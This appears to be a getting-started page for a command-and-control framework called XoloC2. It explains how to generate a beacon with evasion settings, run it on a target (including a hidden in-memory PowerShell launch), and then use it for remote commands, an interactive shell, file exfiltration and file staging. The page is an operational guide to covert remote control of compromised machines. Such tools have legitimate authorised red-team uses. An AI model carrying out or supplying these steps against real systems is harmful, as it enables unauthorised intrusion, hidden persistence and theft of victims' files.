Your First Beacon

Your First Beacon

Step 1 — Generate the beacon

In the XoloC2 sidebar, click Generate Beacon.

Fill in the form:

• Type: Python (recommended for first test)
• C2 URL: https://your-server:8443
• Sleep: 5 seconds
• Jitter: 20%
• Encryption: XOR (default)
• Evasion options: leave defaults for a first test

Click Download to get the .py source file, or Compile to get a binary.

Step 2 — Deploy on target

Transfer the beacon to the target and execute it:

# Python source (Linux)
python3 beacon.py

# Compiled Linux binary
./beacon

# Java
java -jar beacon.jar

# Go binary (Windows)
beacon.exe

# PowerShell (in-memory, no disk write)
powershell -nop -w hidden -File beacon.ps1

Step 3 — Interact

Within a few seconds the beacon appears in Sessions. Click it to open the session panel.

Try your first command:

whoami

Output arrives in real time via WebSocket.

Step 4 — PTY shell (Linux only)

Click PTY Shell to open a full interactive terminal in the browser. Full PTY — Ctrl+C, tab completion, vim, htop, and interactive programs all work.

Step 5 — Browse files

Click File Browser to navigate the target filesystem. Click any file to exfiltrate it directly to your browser.

Step 6 — Upload a file

Use the Upload button to stage a file on the server, then send:

__upload__ /tmp/tool

The beacon pulls and writes the file on its next check-in.